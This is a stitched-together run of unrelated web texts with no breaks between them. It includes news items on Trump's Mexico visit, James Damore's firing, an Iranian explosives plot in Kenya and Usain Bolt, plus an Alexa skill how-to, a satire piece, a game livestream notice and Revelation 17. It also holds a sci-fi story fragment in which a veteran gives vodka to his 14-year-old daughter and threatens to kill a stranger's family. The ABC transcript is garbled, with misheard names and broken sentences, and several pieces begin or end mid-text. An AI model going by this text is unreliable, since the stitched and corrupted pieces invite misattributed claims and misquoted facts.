Not all US prisons are as strict as ADX, and while Halden is technically maximum-security, it's still closer to the rule than the exception in Norway. Here's what life is like at both extremes.Transcript for Donald Trump Narrows Hillary Clinton's Lead in New National Poll
Which element of it he said he said with Donald Trump this morning he delivered his long awaited speech on illegal immigration last night. Saying there will be no amnesty he also renewed a promise. To build a wall and saying Mexico. Will pay for just hours earlier in Mexico trump said he didn't discuss payment with Mexican president. Pain and yet Dylan now of the Mexican president says he did discuss with Donald Trump saying he won't. Pay for the lost and Hillary Clinton's campaign meanwhile responding by mocking trump and his last minute trip to Mexico calling him. The quote great negotiator who choked and lied about it. But this morning a new national poll shows Clinton lead over trump or shrunk to just two percentage points now when the third party candidates to Gary Johnson and Joseph Stein. Are included in the pool and that two point difference is within the margin of error ABC's Kenneth button joins us now from Washington Kenneth good morning. Good morning Diane in DeVon yes it was certainly a he said he said case. After Donald Trott met with Mexico's president but overnight. Trop worked to clear up some of that lost in translation by delivering a forceful speech on immigration. This morning Donald trumps the signature campaign promise. In the southern. Mexico. Will pay for the law. In Phoenix it was back to the poor and tough immigration status that propelled the GOP nominee day and my friend. In office. I am going to create a news studies show. Deportation. Task force drove. Out amid to show he's not shifting. We're just hours before that typically tough talking trump. Was much softer as he met with Mexican president and retaken a nieto. Who was compared trumpet to Hitler we did discuss the wall we didn't discuss payment of the wall but later Kennedy after disputed that tweeting at the beginning of the conversation would Donald Trump. I made it clear that Mexico will not pay for the wall and along the Hillary Clinton Campaign released a new video when the great negotiator actually went to Mexico. He choked and Clinton took the stage and Ohio to say trump is not a leader. Takes more than trying to make up for a year or insults and insinuations. By dropping in on our neighbors for a few hours. And then flying home again that is not how it works. Clinton also tweeted trump spelled his first foreign test her campaign saint trump doubled down on his anti immigration rhetoric. He also attempted to divide communities and he demonize immigrants.
This transcript has been automatically generated and may not be 100% accurate.The Google engineer who was fired for writing a memo criticizing the company’s diversity policies, among other aspects, said Wednesday that “it really feels like they betrayed me.”
“The whole point of my memo was actually to improve Google and Google’s culture,” Damore said in an interview with Bloomberg TV. “They just punished me and shamed me for doing it.”
Within the lengthy memo, Damore confronted a number of issues he saw exhibited by the tech conglomerate. He said Google should: “de-moralize diversity,” “stop alienating conservatives,” “confront Google’s biases,” “stop restricting programs and classes to certain genders or race,” “be open about the science of human nature,” and “have an open and honest discussion about the costs and benefits of our diversity programs.”
Google CEO Sundar Pichai wrote his own missive Tuesday, explaining his reasoning behind the termination.
“First, let me say that we strongly support the right of Googlers to express themselves, and much of what was in that memo is fair to debate, regardless of whether a vast majority of Googlers disagree with it,” Pichai wrote. “However, portions of the memo violate our Code of Conduct and cross the line by advancing harmful gender stereotypes in our workplace.”
Apparently Damore crossed that symbolic line, despite Pichai also stating that “people must feel free to express dissent.”
“I am definitely hurt,” Damore said. “I love Google. And I’ve always been a fan of Google even before I joined.”
After the interview host asked if Damore identifies with the moniker the “alt-right,” he said he was actually “more of a centrist.”
“I don’t think we should have such a strong ideology that really divides different people,” Damore said.
The anchor also cited a blog post written by YouTube CEO Susan Wojcicki, which alleged that Damore and his memo would not have been so purportedly supported if it was addressing minorities, like Hispanic or black employees.
“I think that’s just a false analogy,” Damore said. “She’s trying to lump me in with racists and other bigots, which I am not. I am not a sexist and I am not a racist.”
“So I think that’s just trying to smear my image, rather than actually looking at the evidence,” he continued. “Very little of the responses have been actually looking at the science. They’ve just been calling me names.” (RELATED: Google Higher-Ups Love Donating To Democrats, Not Republicans)
While Damore says he feels “betrayed,” it is possible he could have predicted the whole ordeal, since he asserted within that memo that “honest discussion about these biases is being silenced by the dominant ideology.”
Damore may have lost his job at Google, a duty he prized, but he may soon find employment elsewhere. WikiLeaks founder Julian Assange offered him a job after hearing the news, also saying “censorship is for losers.”
Regardless, Damore says he doesn’t regret developing and publishing the memo, even if it did get him fired.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Alexa’s built-in weather forecast is handy for those who just want the basic forecast for the day, but it doesn’t do much more than that. However, with a third party skill called Big Sky, you can make Alexa spit out a ton of information about the weather and ask it nearly anything about what’s coming.
Install the Big Sky Alexa Skill
The initial setup process is a bit involved, but it’ll smooth sailing once you have everything set up and ready to go. Open the Alexa app and tap on the menu button in the top-left corner of the screen.
Tap on “Skills”.
Tap on the search bar at the top and type in “Big Sky”.
You might get multiple results, but the one at the top will be the one you want. Tap on it to open it up for more details.
Tap on “Enable”.
A web browser will open up and take you to the Blue Sky website, where you’ll need to create an account real quick and enter in some details to get the weather. So start by scrolling down and tapping “Create One!”.
Enter in a username and password of your choice and hit “Submit”.
Once your account has been created, log in with your new credentials.
Next, enter in your address to get hyper-local weather forecasts. You can also just enter in your zip code or even your city, but the more specific you are, the more accurate your weather reports will be for your location. Scroll down when you’re done.
Now, choose either “Basics” or “Detailed” when it comes to how much info you’re immediately given when you first open Big Sky. Scroll down when you’re done.
Lastly, choose either “Farenheit” or “Celsius” and then tap on Submit at the bottom.
On the next screen, it will say that Big Sky has been successfully linked. At that point, you’re ready to go! Tap on “Done” or hit the “X” button in the top-right corner to close out the web browser.
How to Use Big Sky
You can now begin to use Big Sky. Remember that when you ask Alexa for the weather, you’ll need to begin your commands with “ask Big Sky”. So instead of saying “Alexa, what’s the weather?” you’ll you’ll need to say “Alexa, ask Big Sky what the weather is like.”
However, you can do way more than ask about the general weather. Here are just some of the commands that you can give Big Sky in order to get detailed info about the weather. Remember to start with “Alexa, ask Big Sky…” followed by your command:
RELATED: How to Fine Tune Weather, Traffic, and Sports Updates on Your Amazon Echo
“…what the humidity is.”
“…what the temperature will be at 5pm.”
“…for the weather on Friday.”
“…if it will rain before 4pm.”
“…when the sunrise is tomorrow.”
“…what the wind speed is.”
You can also just say “Alexa, open Big Sky” and it will immediately provide a handful of information about today’s weather, and the amount of info it provides during this is dependent on whether you chose “Basic” or “Detailed” during the setup process. Don’t worry if you chose “Basic”—Big Sky will also just ask you if you want to hear more details after it goes through the basic forecast.The 29-year-old systems administrator who proudly admitted Sunday to one of the largest breaches of government secrecy in American history appeared to come out of nowhere: He spent his short career in the secret government, not the front lines of the civil liberties fight.
But Edward Snowden's political views, his value system, and his earnest commitment to seeing those values through appear to take at least some of their inspiration from the vast community site Reddit, a place Snowden mentioned in passing in a Sunday interview.
Snowden cited a movement to restore the Fourth Amendment — which bars unreasonable searches and seizures — organized on a subreddit, r/RestoreTheFourth. He voted for libertarian presidential candidate Ron Paul. And the Reddit community has already begun to embrace Snowden as one of its own.GREEN BAY, WI—Hailing their contribution to the game as “extraordinary” and “totally underrated,” ESPN Monday Night Football commentator Jon Gruden was reportedly full of praise for every single blade of grass at Lambeau Field during tonight’s matchup between the Falcons and Packers. “Now, that’s a blade of grass right there—it’s not the biggest on the field, but it stands tall when it matters, and it’s got all the things you look for in a solid, reliable blade of grass,” Gruden said of a 1.8-inch grass stem situated near the 15-yard line, raving that each of the roughly 61 million Kentucky bluegrass reeds collectively make up “the best tandem of grass in the National Football League, no question.” “I love what I’m seeing out there—tough, no-nonsense, old-school blades of grass. People might say they just came up out of nowhere, but listen, it’s no surprise to anyone who saw how good those seedlings were looking back in September. And I’ll tell you something else, they’ve only gotten stronger since then. If I were the Packers, I would be very, very happy with where those sprouts are at right now.” Gruden went on to say that the hash mark at Lambeau Field’s 46-yard line possesses the same amazing qualities as the Los Angeles Coliseum goal line of the late 1980s.
AdvertisementTwo Iranian men who led officials to a 33 pound stash of explosives have now allegedly admitted they were plotting to attack, U.S., Israel, Saudi or British targets in Kenya, according to the Associated Press.
Ahmad Abolfathi Mohammad and Sayed Mansour Mousavi, who appeared in a Nairobi court last week, were arrested on June 19 in Nairobi and then led Kenyan authorities to 15 kilograms of explosives in Mombasa. They are believed to be members of the Revolutionary Guards' Quds Force, say Kenyan officials.
Last fall, the U.S. disrupted an alleged plot by the Quds Force to assassinate the Saudi ambassador to the U.S. in Washington. Earlier this year, the Azerbaijani government arrested nearly two dozen Iranians who were allegedly plotting attacks on Western targets, and Thai police arrested a group of Iranian nationals after they allegedly attempted to flee a rented residence where bombs had detonated by flinging explosives at a taxi driver and police. Indian police have identified, but not apprehended, three Iranian suspects in the February bombing of an Israeli diplomatic vehicle. Israeli officials say a similar bomb was found on an Israeli vehicle in Tbilisi, Georgia but was defused.
"After Iran sent its people to assassinate the Saudi ambassador on American soil," said Israeli Prime Minister Benjamin Netanyahu's office in a statement Monday, "and carry out attacks in Azerbaijan, Bangkok, Tbilisi and New Delhi, now its intention to carry out attacks in Africa is revealed. The international community needs to fight the world's greatest exporter of terror."
One of the Iranian suspects, Ahmad Mohammad, alleged in court last week that the two men had been interrogated by Israeli agents while under arrest. He also said he was tortured while in detention, which a Kenyan prosecutor denied.
Israelis have long vacationed in Kenya, and Israelis own hotels and retail properties in the country. In 2002, 13 people were killed in the bombing of an Israeli-owned beach hotel in Mombasa.
Over the past several years, at least five scientists linked to the Iranian nuclear program have been killed, and Iran has blamed the U.S., the U.K. and Israel for the attacks. Several were killed using magnetic "sticky" bombs attached to vehicles. Some of the apparent reprisal attacks allegedly carried out by Iranian suspects used the same method.
The arrests of Iranian suspects come in the midst of a series of terror attacks inside Kenya. The U.S. embassy issued an alert on June 22, three days after the men were arrested, warning Americans against travel to Mombasa, ordering government workers out of the city and suspending government travel there through July 1.
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On Sunday, June 24, attackers killed three people at a bar near Mombasa. On Sunday, July 1, attackers using grenades and firearms killed 10 people at two churches in the eastern Kenyan town of Garissa, which is 120 miles from the Somalia border and close to a sprawling Somali refugee camp.
These recent attacks and others like them, often involving grenades, are believed to be the work of al Shabaab, the al Qaeda affiliate operating in neighboring Somalia. The Kenyan military launched an offensive against the Somali group last fall, and al Shabaab has threatened to level buildings inside Kenya in return.
Click Here for the Blotter Homepage.Planning a Battlefield 4 session this Friday? So are we – and we want you to join! On December 19th, you’ll be able to hit the Battlefield together with DICE developers in a live streamed event, featuring Conquest games with live commentary, Q&A sessions and more.
The livestream airs between 11 AM PT – 2 PM PT on Friday, December 19th. Follow the livestream here:
Watch live video from Battlefield on www.twitch.tv
How to join the matches on PC, Xbox One, Xbox 360, PlayStation 4, and PlayStation 3? It’s first come, first serve. Information on accessing the servers will be shared at the beginning of the live stream. Be on the lookout for servers titled as, “Gaming With DICE <Region> ##”. Don’t despair if you don’t make the games; we’ll keep you entertained with the chaos and mayhem of all-out-warfare and much more.
Your DICE hosts for the event will be Producer David Sirland (@tiggr_) and Community Manager Dan Mitre (@dan_mitre). Renowned Battlefield 4 profiles Charlie “LevelCap” Goldberg (@levelcapgaming) and Timothy “Darkness429” Havlock (@darkness429) will also be there, commenting on the frantic matches.
Make sure to tune in on Friday and we look forward to seeing you all on the Battlefield!
Sponsored by Mechanix WearAdrian Huxton had fallen asleep alone. He awoke with a shadowy figure beside him in the darkness. He reacted on fifty-year old instinct; his adrenaline glands pumped and the ancient implants embedded in his brain got to work. Time seemed to slow but it was really his mind and body moving at impossible speeds. He grabbed it with one arm and snatched his sidearm off the night table with the other. “Dad it’s me!” a young voice shrieked. The free-floating white orb of the lamp revealed his teenage daughter sitting on the edge of the bed. She had his brown skin, black hair, and blue eyes. Hers were red-rimmed and her cheeks streaked with tears.
Adrian dropped his handgun and sat up. “Ally what are you doing here?” He checked the alarm clock. It was 2:30 AM. Alyssa whimpered and withdrew. He grabbed her bony shoulder and clung with desperation. She was clearly in pain and he needed to help her. “Hey, hey baby it’s perfectly okay you just startled me. What’s going on?”
“I can’t talk about it I’ve changed my mind. I’m sorry for waking you dad.”
“No!” she jumped. Adrian stretched a smile across his scarred face. “When I got home last month I promised you that you could tell me anything and it’d be alright, remember? Take it from the old soldier; don’t be afraid to ask for help.”
“Okay, I will then.”
Ally snuggled next to him and hugged her knees to her chest. She'd thrown on a stained white t-shirt and-“are you wearing tights?”
“Yes.” She smiled sheepishly and patted the black fabric hugging her legs. “Amy did it and she said it was super-comfy so I tried it-and it is.”
The thought of his second in command, confidant, lover, and savior dragged his heart up. “She did that.” Warmth rushed through him. “Now what’s the problem Ally?”
“I-I’m still thinking about mother and Terry. I keep thinking they’re going to climb through the window or break down the door. I’m scared and I feel so alone in my room that it hurts. I just wanted to sleep with you tonight.” Adrian’s heart had dealt with watching dozens of combats and subordinates-his adopted children-die. He’d watched their agony and tears, and scene the expressions of hundred of people he’d killed in person. That meant nothing compared to the pain he felt watching his own likeness sobbing next to him. That heart melted like microwaved butter. He hugged her against his chest and planted a kiss on her forehead.
“Of course you can.”
“Thanks dad” she hugged him back. “Didn’t Amy used to comfort you when you couldn’t sleep?”
“She did.” Adrian wasn’t sure if it was grief or the implants degrading but his eyes conjured an image of a tall, pale redhead with green eyes brighter than any orb hugging Alyssa from the other side. “She couldn’t wait to see you again, she was so excited.”
“I miss her. I know thinking about her hurts you so much.”
“It does. I miss her too.” Adrian turned his eyes to Alyssa and Amy vanished.
He yawned. “We get up in four hours. Lets go back to sleep we’ll talk in the morning.” He fell back onto his pillow and stretched is arms to full wingspan. Alyssa dropped beside him and rested her head on his elbow. Her hair fell just far enough off her temple so he could see that jagged scar. She closed her eyes and a smile slowly spread from ear to ear.
Fourteen year olds were a vulnerable species-Huxton mused. They wanted to be adults and demanded the same responsibility as an adult but they still were easily scared and naïve like children, which made their forays into adult behaviors all the more prone to disaster. Fourteen was still a baby. “Goodnight little one” he murmured and shut his own.
He heard a long sigh and a sleep-muffled “I love you dad.” Then consciousness faded and he was dreaming of broken spaceships drifting through the vacuum.
When he awoke her head was snug on his shoulder and a thin arm was strung across his chest. Huxton smiled and ran a hand through her brown hair. The sun had risen and its ruddy light streamed through the blinds across the bed. He checked the clock; 6:30 AM. “Up! Up!” he said and shook her. Her eyes opened.
“Ugh.” She yawned and propped herself up on her elbows.
“Good morning little one” Adrian said and planted quick kiss on her cheek. The grin just wouldn’t tear away from his face. The atrophied muscles in his face could barely keep up.
“Hey, it’s too early” she said.
“If this were still the fleet I’d have been up, eaten breakfast, and on duty for an hour by now.” Alyssa grimaced. Adrian tensed his muscles and leapt out of bed in a perfect back flip. His left leg buckled on landing and he dropped to his knees. Pain lanced up his leg. “Augh, fuck!”
“Dad!” Alyssa cried.
“I’m fine. I just keep forgetting I’m old and crippled.” Adrian massaged his left leg. A long red scar ran down his calf from knee to ankle. Beneath that his tendon was gone, a casualty of the last battle he’d ever won. He grabbed a black brace of his night table and slapped it on the offending limb.
“Dad, here” Alyssa tapped him on the shoulder and offered a hand. Huxton let her pull him up with a grunt.
“That got you up fast.”
She giggled. “Why don’t you get your leg replaced regrown? It’s expensive but you’ll have a new leg.
Huxton tested his arms. His left functioned perfectly but his right was incapable of pushing back or pulling forwards. “I don’t want a new arm. This is the body I was born with and I’ll die with it. I’m not replacing it.”
“Not even a cybernetic limb? You could get some cool adaptations like hacking spikes or an airgun attatchment. And you’ll get super-strenght by default.”
Huxton shook his head. “No thank you. I’ve got enough of those up here” he tapped his head. “You’d better hurry; breakfast is going to be on the table in twenty minutes.”
“Of course.” She leapt up and scampered off with a parting tap on his shoulder. Huxton swiped at her but missed. He sighed and walked into his bathroom. He did his normal shower and shave. He placed a small computer to his temple and watched the display scroll over his mirror. His implants weren’t radiating anything hostile into his brain. They were all showing degraded broadcasting and he might have to worry about the number-four slot having and inkection. He ran a test. Time slowed so the bird outside took a minute to make the flaps across his view. The warm sunlight from his window, the honking of cars outside, and the smell of aftershave all came in with much greater detail. He took it all in and made a few high-level trigonometry calculations. Then he released. Still good. Those implants couldn’t be gotten anymore: the empire was closed to the outside now and he wasn’t getting inferior replacements.
He strapped his weapon belt on over his briefs. Then he dressed up in slacks and a button-down t-shirt that showed off the colorful tattoos covering his arms. His clothes were all crisp and folded and he made sure to get the buttons perfectly polished. His sidearm was checked and holstered. Finally he pulled a knife from his nighttable. The blade was six straight inches of black graphene. On that was emblazoned ‘A. Huxton.’ A grin formed on his face and the scent of rose perfume touched his nostrils. “Thanks Amy.” He walked down the hallway to the kitchen. There he threw some bacon and eggs on the griddle and poured two cups of Belrair juice.
Alyssa bounced out of her room ten minutes later. Huxton raised his eyebrows at her; “Well you dressed up fancy.” Alyssa was wearing a navy blazer Huxton had bought her last week with a fuzzy pink sweater beneath. On her legs were a denim skirt and more black tights. She’d overdone the lipstick-again-and had two black eyes-again.
“This is fancy?” Alyssa giggled. “You’re out of the military, dad. This is pretty normal.”
Ugh. “Well excuse me.” He beckoned her.
“Yes?”
“Who punched you?”
“What?” Huxton grabbed a napkin and dabbled away her eye shade and highlights until she looked quite grown up and not unfortunate.
“You’re not going around with two black eyes. And go easy on the hair glitter.”
She looked in the mirror on the far wall and her mouth formed an ‘o’ of surprise. “Since when did you learn about makeup?”
“Amy taught me. So I could deal with you.”
“Wow.” She nodded. “You should get a job that requires a tuxedo. You’d look good in one.”
Adrian laughed. “We’ll see about that. I’m pretty happy with my job now.” Alyssa pressed a button on the wall and the light blue steel went transparent. Early dawn light illuminated the room. Their penthouse atop the tallest apartment complex gave them an unobstructed view of Tollyon Prime for hundreds of miles over the glittering city. The sun was just over the ocean a brownish all of fire. The clouds were deep shades of red and purple. Prime stretched towards them the fingers of the wharfs reaching for the light. Lesser buildings poked into the foreground around theirs and the space elevators rose in a cluster on the left side of the view. Immense cargo cars raced up and down their length.
“This never gets old” she gasped and reclined in her chair. Huxton slapped a sizzling plate of crisp fried eggs and greasy bacon before her. He sat down across and began eating. He pulled a flask from its holder and took a long drink. Hot alcohol ran down his throat.
“What’s that?” Alyssa asked.
“Vodka, want to try?” he held it out. Alyssa needed a few seconds to recover from her surprise.
“Yes of course!” she took and put the nozzle to her lips. Instantly her cheeks flushed and she descended into a coughing fit. Adrian took the flask back and slapped her on the back. “What is that?”
“Good alcohol.”
“I think I just drank acid!” she downed the rest of her juice and winced.
“Oh to be fourteen and so new to the world” Adrian replied.
“Oh come on.” She rolled her eyes and looked out the window again. “Seriously, that’s a beautiful sunset.”
“Its pretty good” he said between bites. “You haven’t seen the view on Volantis though. When the sun rises three gas giants accompany it so there’s four balls of light glowing in the sky. Their light would reflect off the ice covering the mountains and light up the clouds. Amy had a perfect view from her house.”
“How many different sunrises have you seen? It must be a lot” Alyssa asked.
Adrian tried to remember. It had been so many years and so many planets that he couldn’t recall. “I think hundreds of them. There was the dust storm on LH-486 when the sun illuminated the clouds, then the red giant on Atlos, then I saw two years of them on Grahm. When the sun rose during that siege it was blood red and glowed against the smoke and fire coming from the city. Me and my boys said it was taking the dead away to hell.”
He was suddenly standing atop Grahm’s iron fortress. The Imperials had landed the night before. His soldiers had stopped them-somehow. The dead were stacked three deep at his feet and drowned in a lake of blood. He looked through the faces on the ground. All of them he could put a name to. Sitting there frozen in agony or surprise they were all indistinguishable. Death had claimed their identities.
Alyssa circled the table and threw her arms around him. “We’re okay dad. We’re fine.”
Adrian opened his eyes. He was back in the kitchen of his own house with his little girl holding him. “This sunrise is the best, though. I’m sharing it with you.” He hugged her back.
After breakfast grabbed their bags and rode the elevator ninety stories to the lobby. The doorman happily opened the double glass doors. They stopped on the threshold by mutual decision. Adrian took her in his right arm. She put her right around him. They walked outside into the grimy streets A steady murmur of voices and car engines filled the air. It was punctuated by the occasional shrieking car horn or roar of a low flying transit craft. Icy autumn air blasted over them. Adrian didn’t mind. Alyssa shuddered and huddled closer. “Do you want to go back for your jacket?” Adrian asked.
“I’ll be fine it’s going to warm up later.” She pulled a red scarf with marching soldiers stitched into the wool from her bag and wrapped it around her neck. “So what do you have planned for today?” she asked. A crowd of women in flamboyant dance costumes nearly ran them down.
“It’s going to be a busy day. I have a couple of group sessions with my patients in the morning. After lunch I have a consultation with Commander Gorden. We’re working on a new fleet doctrine. That’s all I can tell you.”
“Seriously? Its not like I’m a spy!” Alyssa pointed a finger gun at him and grinned. They passed under an arch forty stories high. The steeple towers rose for another thousand feet until they left view.
“The MoI says you are. I’m calling security!” His left hand snapped out faster than human eyes could follow and grabbed her wrist. She burst into giggles and almost ran into an old man.
“Hey!” he said and yanked her back. She pulled away. With its bicep severed by an old wound his right arm gave way without struggle and she burst free. Her momentum carried her into a mountain in a heavy business suit.
“What the fuck!” he shoved her hard. Adrian shifted his stance and caught her with his good arm. The man rounded and glowered down the bridge of his nose. His square jaw ground teeth.
She was horrified. “Oh my god I’m so sorry I just slipped!” The man rounded on them. He was several inches taller than Adrian and thick as a tree. His face slowly reddened.
Adrian braced himself for the confrontation. “Are you alright?” he asked.
“No I’m not. I was rushing to work and she slammed into me!”
“We’re sorry. Shit happens.” Adrian broke eye contact and pulled Alyssa away. The man shifted half a step so he was blocking them again.
“I was having a horrible day in this awful job and then you had to run into me. You know what? Fuck you!” he advanced a step.
“I’m sorry, okay I didn’t even hurt you” Alyssa whimpered. She hid behind Adrian; he felt her face buried in the back of his shirt.
Adrian saw blood in those green eyes. “You’re going to be late for work” he said. The man’s fists clenched. “You’re missing work to get angry at a young girl” he insisted. The man took another stepped forward and stomped on the pavement. “You’re going to attack a young girl.” A crowd was forming around them but despite Alyssa’s pleading no one intervened. They were too busy gaping at the monster. As for him, Adrian had seen his behavior before. This asshole was having a rough time and wanted to explode. He didn’t care he was targeting a defenseless kid he was going to beat her into a pulp so he could feel bette. Selfish fucking cunt he was. Adrian would just have to beat him until he couldn’t. If he actually landed a hit on Ally, Adrian would beat him until he never could again.
The old war engine grinded into gear. Adrenaline flowed like blood, adding to the effects of his implants. Adrian planted his bad leg on the ground and let the brace hold it upright. “I’m giving you one chance to stop,” he growled. The man lunged forwards. Adrian’s right boot connected with his chest. Ribs cracked, muscles tore, and his sternum folded an inch into his chest. Before the man could gasp six inches of graphene were digging into his thumping carotid artery. “Go to work or I will kill your family. Do you hear me? You fuck with my kid and I’ll make you watch what I do to yours!” Adrian spat.
The rage faded from his eyes and his breath came in ragged painful gasps. “Okay no worries. I’m sorry.” He backed away slowly then turned and ran into the crowd. Adrian returned the knife to its shoulder holster and hugged Alyssa so she could shake against his arms. His body gave out and sagged against her.
“I’m sorry dad,” she cried and soaked his collar. The crowd closed in talking about that asshole and the crazy father protecting his poor girl. A teenage boy and girl Adrian recognized from Alyssa’s group of friends ran forwards.
He shook his head hard. With the adrenaline gone his scarred body felt weak once more. “You did nothing wrong there. That monster should’ve accepted your apology and kept walking. It’s his fault for getting angry. It’s his fault he almost died.”
“Alright I guess. Thanks dad I don’t know what I would’ve done If you hadn’t come home.” They separated. The teenagers began rubbing her shoulders. “Hey Sally and Eric.” She smiled at them.
They resumed the walk to school with two more sets of parents and kids tagging along. Eric Daroh was on the left trying to keep his mother from putting her arm around him. On their right Sally Lelah held hands with her mother. Both teenagers were dressed up in nice clothes while their mothers wore business dresses.
“I love the outfit” Sally said and took Alyssa’s free hand. She shuddered but not in an agonized way.
“Thank you it’s new. You look so pretty,” Alyssa said. Sally was wearing a neat black jacket that highlighted her platinum hair, and a flannel skirt and tights.
“I’m the prettiest though,” Eric said and spread his arms. He wore a button down shirt and slacks. Everyone laughed.
“So where exactly do you work Adrian?” Ms. Lelah asked.
“I’m a military consultant and a therapist at the Lord Verger memorial hospital,” Adrian said. “You’re a…sorry my memory’s drawing a blank.”
She laughed. “I’m the vice president of Carmin finances. Military therapist is a selfless job good for you.” She smiled at him.
“Thank you. He returned it. Too much smiling and not enough glaring was going to soften what little edge he had left.
“It takes a lot to be a single working father,” Mrs. Daroh said. They reached the bus stop where a crowd of kids and a few parents were gathered. Alyssa broke contact and followed Sally into the crowd.
Adrian shook his head. “I spent too many years on a cold warship watching people die. I love this.”
“That’s nice. You two look cute together. You know, between you and me I knew what happened with her mother.” She leaned in. “I did my best to keep Ally at my house as much as possible so she could be away from them. I’m glad you’re home. She needs you.”
“Thank you” Huxton said and frantically searched for something more meaningful to say.
“Of course” she patted his shoulder. Nothing came so he dug around for other conversation topics.
“So what do you think they’re talking about over there?” Alyssa and Sally were on the edge of a circle of kids and ensconced in each other’s arms.
Mrs. Lelah laughed. “Oh, well actually it looks like they’re flirting.”
“What!”
She was infuriatingly hysterical at his confusion. “Watch them closely.”
Huxton did. The girls were just a little bit closer than friends would be. Their words generated unusually high pitched laughter and overemphasized physical reactions. Alyssa wasn’t patting Sally’s back she was playing with her jacket. Sally had one hand right against Alyssa’s collar, two fingers slid into it and rubbing her bare neck. Even as he watched Alyssa planted a kiss on her cheek and held it for ten seconds too long. “Well I don’t have to worry about her getting pregnant.”
Mrs. Lelah burst into laughter. “Oh that’s one way to put it.”
Perhaps she was laughing at the oddity of his perfectly logical statement. “I can see it. I like it. Are they actually together?”
“I haven’t heard anything but Sally is definitely taken by Alyssa.
The yellow bus came into a landing and the kids streamed aboard. “Hang on Ally” Adrian said and took her shoulders. Sally planted a kiss on her cheek as she left and he felt that shudder again.
“Goodbye dad” Alyssa gave him a kiss of his own.
“Wait” Huxton pulled her in until they were nose to nose. “Coffee is a good first date. I recall Mrs. Lelah saying Sally’s addicted to it.”
“What?” Her cheeks flushed scarlet. She went from worry to shock to excitement. “How did you know that?”
He winked at her. “I’ll save that for tonight. Get on the bus.” One final kiss on her forehead and then she was gone. And he felt alone and cold.
“You look lost” Mrs. Lelah said. He nodded as the bus took off. “I used to see you in the news after your exploits. You’re a tough guy you’ll be fine and so will she.”
He smiled at her. “Thank you Mrs. Lelah.”
“Call me Diane.” A cold wind blew through. Diane hunched her shoulders and hugged herself in her purple dress.
“How are you warm in short sleeves?” she demanded.
“I’m a tough guy.” She laughed.
“Very nice. So how’re you getting to work? Lord Verger is thirty blocks away” Ms. Lelah asked. She grabbed his shoulder.
“I usually walk. It’s only about ten blocks from here.”
“Oh nonsense. I’m waiting for a company flight here. I’ll give you a ride you’re not too far out of the way.”
“Thank you” he said.
A sleek black craft landed. “That’s our ride.” She opened the door then |
cited disasters he investigated while at the safety board, like one a decade ago in Carlsbad, N.M., that killed a dozen people. They are reminders of the dangers of unsafe gas lines, Mr. Hall said.
“The explosive nature of a pipeline,” he said, “is not far away from the force of a military explosion.”In case you haven’t heard of Super Mario Maker yet — I hadn’t — it’s a classic side-scroller for the Nintendo Wii U that allows players to build their own levels based on the elements we all grew up with from the Super Mario Bros. franchise. Sweet idea, and way more useful/interactive than the made-up Super Mario levels my friends and I used to create by adjoining sheets of paper with crude pencil drawings of goombas and pipes on our bedroom floors!
The ability to play as different characters is also part of the game, with new ones added periodically. And as of April 28th (in Japan, anyway), players will be able to play as Su-Metal, Yuimetal and Moametal morphed together into a three-pronged Babymetal character! Best of all, the character shouts all sorts of Babymetal catch-phrases from their songs when it jumps and performs other actions. Check out the demo:
Completely ridiculous? Absolutely. But 100% fun? Yes yes yes.
[via The PRP]In a surprise move, Usain Bolt has decided to compete in the London leg of the Diamond League on July 26th -27th, 2013. This will be Bolt’s first participation in non-Olympic race on British soil since 2009.
Bolt has stayed away from competitions in the United Kingdom for tax purposes. Under British law, the star sprinter would be required to pay a tax on his sizable endorsement earnings to Her Majesty’s Revenue and Customs. The British government, however, recently announced a one-off exemption for foreign athletes participating in the Diamond League meeting in London.
In January, it was announced that the London leg, which previously took place at the Crystal Palace National Sports Center, would be moved to the Olympic Stadium for 2013. After Bolt’s announcement, a sell-out crowd of 80,000 is to be expected.
Bolt’s plans for the 2013 athletics season include also participations in Rome (June 6th), Paris (July 6th) and Brussels (September 6th). Bolt’s main rival and training partner Yohan Blake recently announced plans to compete in Doha (May 10th) and Shanghai (May 18th). The two Jamaican stars are expected to join forces in the 4×100 relay at the Ostrava Golden Spike meeting.
Sources: Midday, Telegraph, Usain Bolt’s Official Website, Diamond League’s Official Website, Daily Mail, Alpha Coders, London AttractionsREVELATION 17
« Revelation 16 | Revelation 17 | Revelation 18 »
The Great Prostitute and the Beast
17:1 Then one of the seven angels who had the seven bowls came and said to me, “Come, I will show you the judgment of the great prostitute who is seated on many waters,
2 with whom the kings of the earth have committed sexual immorality, and with the wine of whose sexual immorality the dwellers on earth have become drunk.”
3 And he carried me away in the Spirit into a wilderness, and I saw a woman sitting on a scarlet beast that was full of blasphemous names, and it had seven heads and ten horns.
4 The woman was arrayed in purple and scarlet, and adorned with gold and jewels and pearls, holding in her hand a golden cup full of abominations and the impurities of her sexual immorality.
5 And on her forehead was written a name of mystery: “Babylon the great, mother of prostitutes and of earth’s abominations.”
6 And I saw the woman, drunk with the blood of the saints, the blood of the martyrs of Jesus.
When I saw her, I marveled greatly.
7 But the angel said to me, “Why do you marvel? I will tell you the mystery of the woman, and of the beast with seven heads and ten horns that carries her.
8 The beast that you saw was, and is not, and is about to rise from the bottomless pit and go to destruction. And the dwellers on earth whose names have not been written in the book of life from the foundation of the world will marvel to see the beast, because it was and is not and is to come.
9 This calls for a mind with wisdom: the seven heads are seven mountains on which the woman is seated;
10 they are also seven kings, five of whom have fallen, one is, the other has not yet come, and when he does come he must remain only a little while.
11 As for the beast that was and is not, it is an eighth but it belongs to the seven, and it goes to destruction.
12 And the ten horns that you saw are ten kings who have not yet received royal power, but they are to receive authority as kings for one hour, together with the beast.
13 These are of one mind, and they hand over their power and authority to the beast.
14 They will make war on the Lamb, and the Lamb will conquer them, for he is Lord of lords and King of kings, and those with him are called and chosen and faithful.”
15 And the angel said to me, “The waters that you saw, where the prostitute is seated, are peoples and multitudes and nations and languages.
16 And the ten horns that you saw, they and the beast will hate the prostitute. They will make her desolate and naked, and devour her flesh and burn her up with fire,
17 for God has put it into their hearts to carry out his purpose by being of one mind and handing over their royal power to the beast, until the words of God are fulfilled.
18 And the woman that you saw is the great city that has dominion over the kings of the earth.”
